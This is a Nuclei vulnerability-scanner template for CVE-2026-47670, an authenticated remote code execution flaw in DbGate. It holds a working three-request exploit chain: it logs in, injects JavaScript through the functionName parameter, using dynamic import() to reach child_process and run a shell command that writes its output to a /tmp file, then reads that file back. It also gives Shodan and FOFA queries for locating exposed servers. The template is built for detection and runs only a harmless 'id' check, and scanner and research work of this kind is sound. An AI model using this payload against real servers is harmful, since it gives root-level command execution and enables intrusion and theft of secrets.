id: CVE-2026-47670

info:
  name: DbGate - Remote Code Execution via Dynamic Import Bypass
  author: theamanrawat
  severity: critical
  description: |
    DbGate versions <= 7.1.8 are vulnerable to authenticated remote code execution via the POST /runners/load-reader endpoint. The functionName parameter is directly interpolated into a JavaScript code template without sanitization. The require=null mitigation is bypassed via dynamic import().
  impact: |
    An authenticated user can escalate from web UI access to a root OS shell, steal infrastructure secrets from /proc/1/environ, extract other users credentials, pivot to internal networks, and install persistent backdoors.
  reference:
    - https://github.com/dbgate/dbgate/security/advisories/GHSA-wm5r-5qp3-5vxf
    - https://nvd.nist.gov/vuln/detail/CVE-2026-47670
    - https://github.com/advisories/GHSA-wm5r-5qp3-5vxf
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 9.4
    cve-id: CVE-2026-47670
    cwe-id: CWE-77
  metadata:
    max-request: 3
    verified: true
    shodan-query: http.title:"DbGate"
    fofa-query: title="DbGate"
    vendor: dbgate
    product: dbgate
  tags: cve,cve2026,dbgate,rce,vuln,auth

variables:
  canary: "{{rand_text_alpha(8)}}"
  jslfile: "/tmp/_dbg_{{rand_text_alpha(6)}}.jsonl"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"amoid":"logins","login":"{{username}}","password":"{{password}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "accessToken")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: token
        part: body
        json:
          - '.accessToken'
        internal: true

  - raw:
      - |
        POST /runners/load-reader HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"functionName":"csvReader\nvar _f=await import('fs');var _c=await import('child_process');var _o=_c.execSync('id').toString().trim();_f.writeFileSync('{{jslfile}}',JSON.stringify({__isStreamHeader:true,columns:[{columnName:'out'}]})+String.fromCharCode(10)+JSON.stringify({out:'{{canary}}'+' '+_o})+String.fromCharCode(10));//","props":{}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
        internal: true

  - raw:
      - |
        POST /jsldata/get-rows HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"jslid":"file://{{jslfile}}","offset":0,"limit":100}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{canary}}"

      - type: word
        part: body
        words:
          - "uid="

      - type: status
        status:
          - 200
# digest: 490a004630440220738773e1e674c0b809ec7ce6320087945d453620d2a7e9d2084b480c77d76237022056845b9f4e98455110466ec733f2fbd66564a7ebd5ad15093179be247b6e3f66:922c64590222798bb761d5b6d8e72950